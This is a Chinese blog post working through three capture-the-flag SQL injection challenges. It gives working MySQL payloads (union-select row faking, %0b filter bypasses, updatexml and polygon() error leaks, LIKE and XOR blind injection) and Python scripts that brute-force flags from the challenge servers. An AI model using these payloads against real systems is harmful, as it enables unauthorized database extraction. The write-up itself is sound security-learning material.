Sky's blog

近期做的其他平台的3道注入题

Word count: 1,774 / Reading time: 8 min
2017/11/19 Share

注入正传

这一题来自浙警的MCTF的第二期(题目好像已经关了)
打开是一个登陆页面,尝试了一下,如果被过滤会提示”hacker?”,然而感觉过滤的并不多
但是这个题的难点是在于注入的当前表没有数据,所以无论怎么闭合都是username error
我的尝试:

1
2
3
4
5
6
username = admin'#
username = admin' or 1=1#
username = admin') or 1=1#
username = admin or 1=1#
username = admin" or 1=1#
username = admin") or 1=1#

也是这样发现都没有过滤,也一直是username error
当时就懵了……后来才想起来是当前用户表没有数据,那么应该如何注入呢?
分析他的后台语句,容易想到:

1
select * from users where username='$username' and password='$password'

那么既然没有数据,我可以用union select填充数据
例如:

1
2
username = admin' union select 1,2
password = 1

这样原来的语句变成select * from users where username='admin' union select 1,2
但是这个时候出现了password error
我就觉得可能不对劲,这个后台sql应该不是这样写的,当我这样的时候就没有回显:

1
2
username = admin' union select 1,2
password = 2

所以我断定后台是这样的:

1
2
3
4
5
6
7
8
9
10
11
$sql = "select * from users where username = '$username'";
$result = mysql_fetch_row($result);
if(!$result)
{
echo 'username error';
}
$password_now = $result[1];
if($password!=$password_now)
{
echo 'password error';
}

那么这样一来,就很容易了

1
2
3
4
5
6
7
8
username = admin' union select 1,1
password = 1
当时数据情况
+----------+----------+
| username | password |
+----------+----------+
| 1 | 1 |
+----------+----------+

如果这样,很显然是可以成功的,因为password查出来的确是1,此时回显是0
那么如何利用这一点构造出爆库语句呢?
很显然,我们可以利用ascii比较是否为true,为true时,password列填充为1
本地测试如下:

1
2
3
4
5
6
mysql> select * from users where username=-1 union select 1,2,(ascii(substr(database(),1,1))>-1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 1 |
+----+----------+----------+

所以我们可以轻松构造出payload:

1
2
username = admin' union select 2,(ascii(substr((select flag from flag),1,1))=1)#
password = 1

如果没有回显则是正确,有回显则是错误
这里还有一点就是union select的过滤
因为我发现union没有过滤select也没有过滤
所以猜想他的过滤是这样写的……|union select|……
所以我们可以利用他的过滤不充分而得到绕过union%0bselect
最后附上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
# coding:utf-8
import urllib
import requests
flag=""
url = "http://114.67.224.31:32769/index.php"
for i in range(1,100):
for j in range(33,127):
payload = "123' Union%%0bSeleCt 2,(ascii(substr((select flag from flag),%s,1))=%s)#"%(i,j)
payload = urllib.unquote(payload)
data = {
"username":payload,
"password":"1"
}
r= requests.post(url=url,data=data)
if "error" not in r.content:
flag +=chr(j)
print flag
break

注入后传

这一题也来自浙警的MCTF的第二期(题目好像已经关了)
题目偏了一点脑洞,有2种做法,一个是报错注入,一个是盲注
这里我先说报错注入,当时我没有选择这个方法,因为过滤了or,我是不知道当前表名的,也没有办法爆表,但是直接flag是当前表的password字段,但是这个表有多条数据
所以如果不知道表名用报错注入则会这样

1
2
mysql> select * from users where username=1 and updatexml(1,concat(0x7e,(select username),0x7e),1);
ERROR 1105 (HY000): Only constant XPATH queries are supported

报错提示Only constant XPATH queries are supported
那么有没有办法直接限制查询个数呢?

1
2
mysql> select * from users where username=1 and updatexml(1,concat(0x7e,(select username limit 0,1),0x7e),1);
ERROR 1105 (HY000): Only constant XPATH queries are supported

我们类似的试了很多,但是都没成功……
那么如何过滤or,只知道列名的情况下得到当前表名呢?
后来发现这样一个函数非常强:polygon()
我们测试:

1
2
mysql> select * from users where username=1 and polygon(password);
ERROR 1367 (22007): Illegal non geometric '`show`.`users`.`password`' value found during parsing

回显非常出乎我的意料:

1
Illegal non geometric '`show`.`users`.`password`' value found during parsing

我们直接得到了这个列的当前数据库名,当前表名
而后也就简单了,当然这个polygon()以后有机会我还是要另写博客好好研究一下的
然后讲一下当时我的做法:盲注
在知道flag在当前表的password字段的时候,我们可以用这个方法进行盲注

1
username = -1' or passwd like 'i%'#

这样很容易绕过多条数据的限制……并且也是可以拿出所有数据的,通配真的很好用,下次写babysql的题解我也会再说明一次
最后附上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import urllib
import string
url = "http://114.67.224.31:32773/"
flag=""
for i in range(1,100):
for j in "0123456789"+string.letters:
payload = urllib.unquote("-1'%0b||%0bpasswd%0blike%0b'"+flag+j+"%'#")
data={
"id" : payload
}
r=requests.post(url=url,data=data)
if "Hello admin" in r.content:
flag += j
print flag
break

简单注入

这一题来自MOCTF,平台题目大多比较简单,但是这个题我写出来的原因是引号闭合的方式比较有趣
大家可以先自己做一下再看,这样可能感触比较深:http://119.23.73.3:5004
题目过滤了空格等一堆东西,所以引号闭合比较困难
但是这里可以想到用异或的方法

1
2
3
4
http://119.23.73.3:5004/?id=1'^'1
回显为空白
http://119.23.73.3:5004/?id=1'^'0
回显为Hello

原因是因为

1
2
3
select * from news where id='$id'
select * from news where id='1'^'1'
select * from news where id='1'^'0'

这样就一目了然了,'1'^'1'显然是查不到数据的,因为id=0
'1'^'0'是显然为1的,所以既闭合了引号,也得到了注入方式
所以后面容易构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
id=2'^'(ascii(mid((select(TABLE_NAME)from(information_schema.TABLES)where(TABLE_SCHEMA=database())limit(0,1)),1,1))=1)
```
但是问题来了,这个`limit 0,1`用括号隔开好像不起作用?
我随后又尝试了`limit(1)offset(1)`但是也没起作用,那么怎么查询多条数据呢?
这里我发现`group_concat`没过滤,所以就很简单了
直接附上脚本
```python
import requests

flag = ""
for i in range(1,300):
for j in range(33,127):
# url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),"+str(i)+",1))="+str(j)+")"
# url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(group_concat(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='do_y0u_l1ke_long_t4ble_name')),"+str(i)+",1))="+str(j)+")"
url = "http://119.23.73.3:5004/?id=2'^'(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),"+str(i)+",1))="+str(j)+")"
r=requests.get(url=url)
if "Tip" in r.content:
flag +=chr(j)
print flag
break

后记

注入的绕过技巧真的是博大精深,但一切都来自于对后台逻辑的分析,光靠套路是远远不够的……下周我还会再写一次注入的题解,当然校赛我也准备了一道很有趣的注入,到时候都会分享给大家……
Injection is interesting, but logic is more valuable:)

CATALOG
  1. 1. 注入正传
  2. 2. 注入后传
  3. 3. 简单注入
  4. 4. 后记